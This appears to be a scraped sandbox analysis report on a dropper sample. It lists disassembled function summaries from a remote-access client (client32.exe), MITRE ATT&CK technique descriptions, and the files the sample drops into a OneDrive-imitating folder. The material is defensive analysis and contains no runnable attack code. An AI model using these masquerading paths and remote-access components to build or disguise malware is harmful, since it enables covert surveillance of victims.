Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-1557312927
Opcode ID: 578e6b42e3a466468ed5f8b48cc10b3d5d2de952ef15857138e468b3388b4fb8
Instruction ID: 76fc1c9f204d61b598545802c88e505d5d1a1f0333807163ca50a8fc43eda729
Opcode Fuzzy Hash: 578e6b42e3a466468ed5f8b48cc10b3d5d2de952ef15857138e468b3388b4fb8
Instruction Fuzzy Hash: 46D02E76A10328BFC2289A42EC01EC2F3ECAB143A8F008029FA1443240D671E840CBA1

Function 11001000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 11001011
m_hWnd, xrefs: 11001016

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-1557312927
Opcode ID: 1770e36260f19dc7d9c9f2fc614e6a2aa219c11bc3183004388498927ffce4b8
Instruction ID: 85a83e753ce2334310b605be9e6b37dc2aa326c5352e60b6a277888e17089f80
Opcode Fuzzy Hash: 1770e36260f19dc7d9c9f2fc614e6a2aa219c11bc3183004388498927ffce4b8
Instruction Fuzzy Hash: A7D05E77A10329BFD225DA56EC45ED6F3DDEB18368F00C429FA4557640D7B1E880CBA2

Function 1103B000 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(NSMClassList,00000000), ref: 1103B00F
SendMessageA.USER32(00000000,0000065B,?,?), ref: 1103B027

Strings

NSMClassList, xrefs: 1103B00A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindMessageSendWindow
String ID: NSMClassList
API String ID: 1741975844-2474587545
Opcode ID: 0c65c2155593c244e98b49570bad4efc5dd94f5243094f64a045e500cd371313
Instruction ID: 412497618096f6ceebb2c8e5b1c93f20f04941736e5984ac9c6eab23f84d4a3b
Opcode Fuzzy Hash: 0c65c2155593c244e98b49570bad4efc5dd94f5243094f64a045e500cd371313
Instruction Fuzzy Hash: 4ED01232200624BBE6109B95DD49FA7FB9CEB89B55F058055F6199A180C661D40087A0

Function 1100D4A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(1100D71E,?,00000000,?,1100CA4A,?), ref: 1100D4A9
LoadLibraryA.KERNEL32(AudioCapture.dll,?,1100CA4A,?), ref: 1100D4B8

Strings

AudioCapture.dll, xrefs: 1100D4B3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoadVersion
String ID: AudioCapture.dll
API String ID: 3209957514-2642820777
Opcode ID: e67a74e394a46cd4a230a294111d6738ecbe5b9cda1371316a140dce9fca34bc
Instruction ID: 25e691207691642c4356b8f3de2543ca62ce68b30f69e8b4a8df66a417ae823a
Opcode Fuzzy Hash: e67a74e394a46cd4a230a294111d6738ecbe5b9cda1371316a140dce9fca34bc
Instruction Fuzzy Hash: 82E01735E215639BF7028B3A888838DB3D1B74128AFC694B0EC26C0948FB28D4409F31

Function 110150C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000000,1104FCA6,00000041,00000040,00000001,0000004F,_debug,platformid,00000000), ref: 110150D7
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,1116F448,000000FF,?,1105018C), ref: 110150E8

Strings

\\.\NSWFPDrv, xrefs: 110150D2

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: 6231527e6390726173594491354c6e4cd092e0601a9bcb34ddaadc10646ea3e9
Instruction ID: 75e221cb1509f29626dfc12a380aed5e2f5bc3ba1cdec89b9f211e34a1aec4b9
Opcode Fuzzy Hash: 6231527e6390726173594491354c6e4cd092e0601a9bcb34ddaadc10646ea3e9
Instruction Fuzzy Hash: F3D0C972A020347EE27116AAAC4CFCBBE09DB037B5F294264FA2EE55C4A6544C4186F0

Function 1100D770 Relevance: 5.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(111D89EC,00000000,?,?,1100C13B,00000000,00000000), ref: 1100D77F
LeaveCriticalSection.KERNEL32(111D89EC,?,?,1100C13B,00000000,00000000), ref: 1100D7F0

Part of subcall function 1100D6E0: EnterCriticalSection.KERNEL32(111D89EC,1100CA4A,?,1100B4AC,?,00000000,?,1100CA4A,?), ref: 1100D6E9
Part of subcall function 1100D6E0: LeaveCriticalSection.KERNEL32(111D89EC,1100B4AC,?,00000000,?,1100CA4A,?), ref: 1100D761

LeaveCriticalSection.KERNEL32(111D89EC), ref: 1100D7BF
LeaveCriticalSection.KERNEL32(111D89EC), ref: 1100D7DB

Part of subcall function 1100D690: EnterCriticalSection.KERNEL32(111D89EC,1100C3CB), ref: 1100D695
Part of subcall function 1100D690: LeaveCriticalSection.KERNEL32(111D89EC), ref: 1100D6CF

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: aca24964a8334ab7ee8cd89ad2ace1eb3ed66267a62d89fe4e8a6cc7f4fed172
Instruction ID: 0dafe6cd7310c593e9f50b724afca6883deab30faa1009faaa9d0ca0fe2b91f1
Opcode Fuzzy Hash: aca24964a8334ab7ee8cd89ad2ace1eb3ed66267a62d89fe4e8a6cc7f4fed172
Instruction Fuzzy Hash: FC01A736F122246BDB01DFE5AC49A9DFB9CEB4A699B0441A5FC4DD3600F631AD0087F2

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll

C:\Users\user\AppData\Local\MSOneDrive\HTCTL32.DLL

C:\Users\user\AppData\Local\MSOneDrive\NSM.lic

C:\Users\user\AppData\Local\MSOneDrive\PCICHEK.DLL

C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL

C:\Users\user\AppData\Local\MSOneDrive\TCCTL32.DLL

C:\Users\user\AppData\Local\MSOneDrive\UIManagerBrokerps.dll

C:\Users\user\AppData\Local\MSOneDrive\WerEnc.dll

C:\Users\user\AppData\Local\MSOneDrive\client32.exe

C:\Users\user\AppData\Local\MSOneDrive\client32.ini

C:\Users\user\AppData\Local\MSOneDrive\dpnathlp.dll

C:\Users\user\AppData\Local\MSOneDrive\dpnhupnp.dll

C:\Users\user\AppData\Local\MSOneDrive\dpnlobby.dll

C:\Users\user\AppData\Local\MSOneDrive\dxmasf.dll

Windows Analysis Report
SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Function 00C81A80 Relevance: 96.8, APIs: 20, Strings: 35, Instructions: 535
memoryregistrystringCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre